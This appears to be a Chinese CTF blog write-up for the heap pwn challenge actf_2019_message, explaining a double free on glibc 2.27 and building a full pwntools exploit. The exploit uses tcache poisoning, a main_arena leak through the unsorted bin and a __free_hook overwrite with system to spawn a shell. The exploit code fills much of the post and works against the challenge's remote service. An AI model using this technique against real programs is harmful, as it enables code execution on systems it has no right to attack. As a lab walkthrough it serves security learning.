actf_2019_message

actf_2019_message

最近学习了tcache,在buu上发现了一道很有意思的题
actf_2019_message

检查防护

在这里插入图片描述
看到full relro第一时间想到hook

没有开PIE,极好极好,运行一下看看

在这里插入图片描述

看起来很普通的表单题

静态分析

main

主程序并不复杂,只是四个选项

在这里插入图片描述

sub_400911

在这里插入图片描述
初始化函数

sub_400A3F(选项1)

在这里插入图片描述

出现了第二个匿名常量,不难看出dword_602060是一个存储size和content_ptr的结构体,而dword_60204C则起到一个计数的作用,每次malloc都自增

创建一个结构体,不然用数组看,太费眼。struct界面insert可以创建结构体

在这里插入图片描述

修改一下结构类型

在这里插入图片描述

看起来就变得清爽多了

在这里插入图片描述

选项1没有发现什么特别的地方,接着往下看

sub_400B73(选项2)

在这里插入图片描述

delt函数相比较add函数就出现了大问题,double_free王炸开局,匪夷所思的是,content_ptr没有置零,置零了size

sub_400C40(选项3)

在这里插入图片描述

到这里解释了为啥要置零size了,修改的时候要验证一遍,决绝uaf,edit的过程也是read完成的,没有毛病

sub_400D21(选项4)

在这里插入图片描述

经典show函数,看起来没太大毛病

思路

存在double free,但是需要先泄露libc,show函数配合unsorted bin可以泄露mian_arena,泄露libcbase自然水到渠成

然而此时还没有意识到某些环节出现了问题

解题

交互函数先写好

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

DEBUG = 1
if DEBUG:
    r = process('./ctf')
    elf = ELF('./ctf')
    libc = ELF('/so/docker/2.27/64/libc-2.27.so')
else:
    r = remote('node4.buuoj.cn', 29239)
    elf = ELF('./ctf')
    libc = ELF('/so/buu/ubuntu18_64.so')
    

def choice(nu):
    r.sendlineafter('choice: ', str(nu))

def add(content):
    choice(1)
    r.sendlineafter('length of message:\n', str(len(content)))
    r.sendafter('input the message:\n', content)

def delt(idx):
    choice(2)
    r.sendlineafter('you want to delete:\n', str(idx))

def edit(idx, content):
    choice(3)
    r.sendlineafter('you want to edit:\n', str(idx))
    r.sendafter('edit the message:\n', content )

def show(idx):
    choice(4)
    r.sendlineafter('want to display:\n', str(idx))

def debug():
    gdb.attach(r)
    pause()

泄露libc

想先利用unsorted bin泄露个main_arena,遇到第一个坑

for i in range(8):
    add('a'*0x80)
for i in range(6):
    delt(i)
delt(7)
delt(6)

多申请7个chunk喂饱全世界最xx的tcache,最后两个chunk颠倒着释放,防止和topchunk合并

在这里插入图片描述

释放后内存长这样,本想着直接把chunk6申请出来泄露。突然发现问题

在这里插入图片描述

由于delt之后的内存没有置零,add之后新的chunk只能排到后边,也就是说每次free,list的数量就会永久减一,这简直太xx了

这样下去很显然不等申请unsortedbin中的chunk,list就被占满了

可以利用double free控制list,手动置零list,但是这样count和list里的数量就对不上,所以最好的选择是count常量和list同时修改,double_free控制count常量(count常量就在list前0x14位),这样既可以修改count,同时修改list

控制count常量和list
for i in range(2):
    add('a'*0x200)
for i in range(2):
    delt(0)
add(p64(0x60204c).ljust(0x200, '\x00'))
add('a'*0x200)
payload0 = p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)
payload = payload0.ljust(0x200, '\x00')
add(payload)

debug()

首先申请两个chunk,一个用于double free,第二个chunk让count加一,不然没法free chunk0第二次

在这里插入图片描述

然后就是喜闻乐见的double free,目的地址是常量count_60204c,payload是

p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)

覆盖后的内存:

在这里插入图片描述

这里覆盖一个count的地址到chunk0,下次覆盖更加方便,有的师傅可能会发现覆盖的count是1,但是变成了2,覆盖的add也算一次add,所以加1

泄露main_arena

刚才申请不了的unsorted bin现在可以申请了,有了chunk0可以随心所以突破free次数的限制

for i in range(8):
    add('a'*0x80)
for i in range(1, 7):
    delt(i) 
delt(8)
delt(7)
edit(0, payload)	#list清理

先申请八个内存,七个喂饱tcache,剩下一个放到unsorted bins中,当然最后两个chunk依然要颠倒放,不然会和top chunk合并

到这里list又快满了,利用chunk0清空list

chunk7指向unsorted bin时

在这里插入图片描述

利用chunk0清理list后:
在这里插入图片描述

接下就是把所有tcache连着我们需要的unsorted bin申请出来

for i in range(7):
    add('a'*0x80)
add('a'*0x8)

从unsorted bins中取出chunk大有讲究,取出来的chunk的fd一定会被我们覆盖掉,但是bk不会,且bk相对于main_arena也是固定偏移,把fd完全覆盖,打印chunk8就可以连带着把bk打印出来

在这里插入图片描述

在gdb中调试可以看到bk到main_arena偏移为224,但是只要解题步骤一样,调试的偏移放到题目中也不会变,所以可以通过bk算出main_arena地址

main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 224
malloc_hook = main_arena - 0x10
log.info('main_arena: '+hex(main_arena))

在这里插入图片描述

可以由此获取malloc_hook\libcbase\free_hook等更重要的值

libcbase = malloc_hook - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()

getshell

到这里已经可以为所欲为了,利用chunk0部署free_hook,修改成system,部署binsh,只需要free就可以getshell

payload = payload0 + p64(0x8) + p64(binsh) + p64(0x8) + p64(free_hook)
edit(0, payload.ljust(0x200, '\x00'))
edit(2, p64(system))
delt(1)

在这里插入图片描述

修改free_hook后:

在这里插入图片描述

exp

from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'

DEBUG = 0
if DEBUG:
    r = process('./ctf')
    elf = ELF('./ctf')
    libc = ELF('/so/docker/2.27/64/libc-2.27.so')
else:
    r = remote('node4.buuoj.cn', 26913)
    elf = ELF('./ctf')
    libc = ELF('/so/buu/ubuntu18_64.so')
    

def choice(nu):
    r.sendlineafter('choice: ', str(nu))

def add(content):
    choice(1)
    r.sendlineafter('length of message:\n', str(len(content)))
    r.sendafter('input the message:\n', content)

def delt(idx):
    choice(2)
    r.sendlineafter('you want to delete:\n', str(idx))

def edit(idx, content):
    choice(3)
    r.sendlineafter('you want to edit:\n', str(idx))
    r.sendafter('edit the message:\n', content )

def show(idx):
    choice(4)
    r.sendlineafter('want to display:\n', str(idx))

def debug():
    gdb.attach(r)
    pause()

for i in range(2):
    add('a'*0x200)
for i in range(2):
    delt(0)
add(p64(0x60204c).ljust(0x200, '\x00'))
add('a'*0x200)
payload0 = p64(1).ljust(0x14, '\x00') + p64(0x200) + p64(0x60204c)
payload = payload0.ljust(0x200, '\x00')
add(payload)

for i in range(8):
    add('a'*0x80)
for i in range(1, 7):
    delt(i) 
delt(8)
delt(7)
edit(0, payload)

for i in range(7):
    add('a'*0x80)
add('a'*0x8)
show(8)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 224
malloc_hook = main_arena - 0x10
log.info('main_arena: '+hex(main_arena))

libcbase = malloc_hook - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()

payload = payload0 + p64(0x8) + p64(binsh) + p64(0x8) + p64(free_hook)
edit(0, payload.ljust(0x200, '\x00'))
debug()
edit(2, p64(system))
delt(1)

r.interactive()

劳动成果:

在这里插入图片描述
参考文章:
__free_hook劫持
unsorted bin attack
double free

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值